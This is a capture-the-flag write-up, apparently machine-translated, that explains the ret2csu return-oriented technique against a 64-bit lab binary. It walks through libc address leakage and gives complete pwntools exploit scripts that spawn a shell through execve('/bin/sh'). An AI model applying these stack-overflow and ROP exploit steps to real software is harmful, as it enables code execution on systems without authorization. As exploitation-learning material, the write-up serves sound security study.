1. Check protection mechanism
Result of checksec:
2. Source code
The source code of the program is:
#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
The overflow point is the read function.
3. Principle of ret2csu
There are many materials to refer to, which are omitted here.
4. Can the conventional ret2libc method be used for this problem?
4.1 ret2libc method analysis
In fact, ret2scu can be classified into ret2libc. This section aims to introduce the difference between ret2scu and ret2libc. Therefore, ret2scu is listed separately from ret2libc.
The source code of this problem has only six lines and two functions. There is neither system nor / bin/sh. can the conventional ret2libc method be used to solve it? If you want to ret2libc, you need to disclose the address of a function in libc. In this question, you can only use the write function. After the write function is called once, the address item in the got table points to the address of the write function in libc.
At the overflow point of the read function, the return value can be overwritten as a write function. The corresponding parameter should be rdi = 0, rsi is the write function got table entry (this table entry points to the real address of the write function in libc), and rdx = 8. In this way, the address of write in libc can be disclosed.
To meet this requirement, you need to place the corresponding registers before calling write. These values can be obtained by looking up the gadget fragment. You can find it through the following three commands:
ROPgadget --binary level5 | grep "rdi" ROPgadget --binary level5 | grep "rsi" ROPgadget --binary level5 | grep "rdx"
The above three commands can only find the gadget fragments of rdi and rsi, but the gadget fragment of rdx is missing. Therefore, using the conventional ret2libc idea can not solve this problem.
ret2scu is required to solve this problem. ret2scu is also the method used when the general methods in ret2libc cannot work.
4.2 comparison with Wiki ret2libc3
stay [CTF Wiki Pwn]Stackoverflow Lab006: ret2libc3 experiment In, the payload of the leaked puts function is:
payload = '' payload += 'A'*112 payload += p32(puts_plt_addr) payload += p32(main_plt_addr) payload += p32(puts_got_addr)
There are two differences from this question:
First, the title is 64 bits, and the register needs to be set in advance; wiki ret2libc3 is 32-bit. Put the parameters of puts on the stack; Setting registers requires specific gadget fragments, and it is easier to put parameters on the stack;
Second, only the write function can be disclosed in this problem, which has three parameters that need to be set in advance; wiki ret2libc3 discloses the put function, which has only one parameter; From the perspective of the number of parameters, ret2libc3 is also easier to disclose the real address of the library function in libc.
5. Problem solving ideas
The solution to this problem is to construct a payload three times and finally execute execve('/ bin/sh').
The first payload is to execute libc using stack overflow_ csu_ For the gadget in the init function, deploy the write function parameters, call the write function through the write function got table address to print its own function address, and finally re execute the main function to prepare for the next step;
The second payload is to execute libc using stack overflow_ csu_ For the gadget in the init function, call the read function through the get table address of the read function, write the execve function address and / bin/sh string to the bss segment, and re execute the main function again to prepare for the next step;
The third payload is to execute libc using stack overflow_ csu_ The gadget in the init function executes execve('/ bin/sh') written to the bss segment.
The program flow of executing payload three times is as follows:
6. Disclose the address of the write function (payload for the first time)
6.1 __libc_csu_init function
ret2csu's goal is to__ libc_ csu_ Start with init function and analyze it. The corresponding assembly of this function is:
00000000004005c0 <__libc_csu_init>: 4005c0: 41 57 push r15 4005c2: 41 56 push r14 4005c4: 41 89 ff mov r15d,edi 4005c7: 41 55 push r13 4005c9: 41 54 push r12 4005cb: 4c 8d 25 3e 08 20 00 lea r12,[rip+0x20083e] # 600e10 <__frame_dummy_init_array_entry> 4005d2: 55 push rbp 4005d3: 48 8d 2d 3e 08 20 00 lea rbp,[rip+0x20083e] # 600e18 <__init_array_end> 4005da: 53 push rbx 4005db: 49 89 f6 mov r14,rsi 4005de: 49 89 d5 mov r13,rdx 4005e1: 4c 29 e5 sub rbp,r12 4005e4: 48 83 ec 08 sub rsp,0x8 4005e8: 48 c1 fd 03 sar rbp,0x3 4005ec: e8 0f fe ff ff call 400400 <_init> 4005f1: 48 85 ed test rbp,rbp 4005f4: 74 20 je 400616 <__libc_csu_init+0x56> 4005f6: 31 db xor ebx,ebx 4005f8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4005ff: 00 400600: 4c 89 ea mov rdx,r13 400603: 4c 89 f6 mov rsi,r14 400606: 44 89 ff mov edi,r15d 400609: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40060d: 48 83 c3 01 add rbx,0x1 400611: 48 39 eb cmp rbx,rbp 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add rsp,0x8 40061a: 5b pop rbx 40061b: 5d pop rbp 40061c: 41 5c pop r12 40061e: 41 5d pop r13 400620: 41 5e pop r14 400622: 41 5f pop r15 400624: c3 ret
The start addresses of the two key gardet fragments are 0x400600 and 0x40061a respectively.
6.2 leakage process and stack space
The overflow point of this problem is the read function. The main idea is to use the gadget fragment in the csu function to cover the return value address, set several parameters of the write function, and finally call the write function to disclose its real address in libc.
In case of leakage, the layout of stack space is:
6.3 exp of leaked write
from pwn import * level5 = ELF('./level5') sh = process('./level5') raw_input() write_got = level5.got['write'] read_got = level5.got['read'] main_addr = level5.symbols['main'] bss_base = level5.bss() csu_front_gadget = 0x0000000000400600 csu_behind_gadget = 0x000000000040061a def csu(fill, rbx, rbp, r12, r13, r14, r15, main): payload = 'a' * 0x88 payload += p64(csu_behind_gadget) # payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_gadget) payload += 'a' * 56 payload += p64(main) sh.send(payload) sleep(1) sh.recvuntil('Hello, World\n') csu(0,0, 1, write_got, 8, write_got, 1, main_addr) #write_addr = sh.recv(8) write_addr = u64(sh.recv(8)) print hex(write_addr) sh.interactive()
After executing the python script, you can get the address of the leaked write function: 0x7ffb5cb5d3b0
7. Write shellcode to bss segment (second payload)
In the previous section, the address of the write function in libc was successfully disclosed. Then, the base address of libc can be calculated according to the real address of the write function in libc, and the address of system or execve and / bin/sh in libc can be calculated.
There are four ways to calculate this address:
(1) Use Libcsearcher library;
(2) Via online website libc database search Calculate;
(3) Use the command to search manually (e.g. readelf, strings, etc.);
(4) Calculated using ELF interface.
The first two methods are automatic calculation, so the efficiency is high, but there are errors in the calculation results. If you can't get through, you can check them through the latter two methods.
In the selection of four methods, it is suggested that (4) > (3) > (2) > (1), or the combination of centralized methods can be used for complementary calculation.
Let's start with an online website:
The version found is libc6_ 2.19-0ubuntu6. 15_ In fact, the running version of AMD64 is 2.23. We first use 2.19 to find several addresses, and then check them manually.
- The offset of write is 0x0ef3b0
- The offset of system is 0x046590
- str_ bin_ The offset of SH is 0x180543
- The offset of execve is c5130
Check manually below:
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "write"
The offset of write is f73b0
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "system"
The offset of system is 0x453a0
strings /lib/x86_64-linux-gnu/libc-2.23.so -tx|grep "/bin/sh"
The offset of "/ bin/sh" is 0x15bb2b
readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "execve"
The offset of execve is 0xcc7f0
Note: the results given by the online website are incorrect. We use the results found manually to fill in the payload.
Then, the payload s to be sent are as follows:
sh.recvuntil('Hello, World\n') #raw_input() csu(0, 1, read_got, 16, bss_base, 0, main_addr) sh.send(p64(execve_addr)+'/bin/sh\x00')
The layout of the stack is not drawn, which is similar to that above.
8. Two small knowledge points
Here, we insert two small knowledge points or possible doubts:
The first point: every time you run, level 5 does not open the pie. Why does the real address of the write function change?
Although the pie of level 5 is turned off, libc2 23's pie is open. Many people tend to mix binary programs with dynamically linked so, which will affect the analysis. Please compare the protection mechanisms of the two in the figure below to avoid confusion during analysis.
Second point: in this question, when gdb debugs the second payload jump to csu call read, it will get stuck after ni. The main reason is that gdb debugging and python script are out of sync. In this case, raw needs to be added before sending the second payload, that is, before csu(0, 1, read_got, 16, bss_base, 0, main_addr)_ input().
9. Execute / bin/sh (third payload)
Finally, the execve function is called, which mainly places the bss first address (execve function address) and bss+8 (/ bin/sh) in the stack space, and then jumps to csu for execution. payload is:
sh.recvuntil('Hello, World\n') csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
10,exp
from pwn import * level5 = ELF('./level5') sh = process('./level5') #raw_input() libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #context.log_level = 'debug' write_got = level5.got['write'] read_got = level5.got['read'] main_addr = level5.symbols['main'] bss_base = level5.bss() csu_front_gadget = 0x0000000000400600 csu_behind_gadget = 0x000000000040061a def csu(rbx, rbp, r12, r13, r14, r15, main): payload = 'a' * 0x88 payload += p64(csu_behind_gadget) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_gadget) payload += 'a' * 56 payload += p64(main) sh.send(payload) sleep(1) sh.recvuntil('Hello, World\n') csu(0, 1, write_got, 8, write_got, 1, main_addr) write_addr = u64(sh.recv(8)) write_offset = libc.symbols['write'] system_offset = 0x3adb0 bin_sh_offset = 0x15bb2b execve_offset = libc.symbols['execve'] libc_base = write_addr - write_offset execve_addr = libc_base + execve_offset #gdb.attach(sh) sh.recvuntil('Hello, World\n') raw_input() csu(0, 1, read_got, 16, bss_base, 0, main_addr) sh.send(p64(execve_addr)+'/bin/sh\x00') sh.recvuntil('Hello, World\n') csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr) sh.interactive()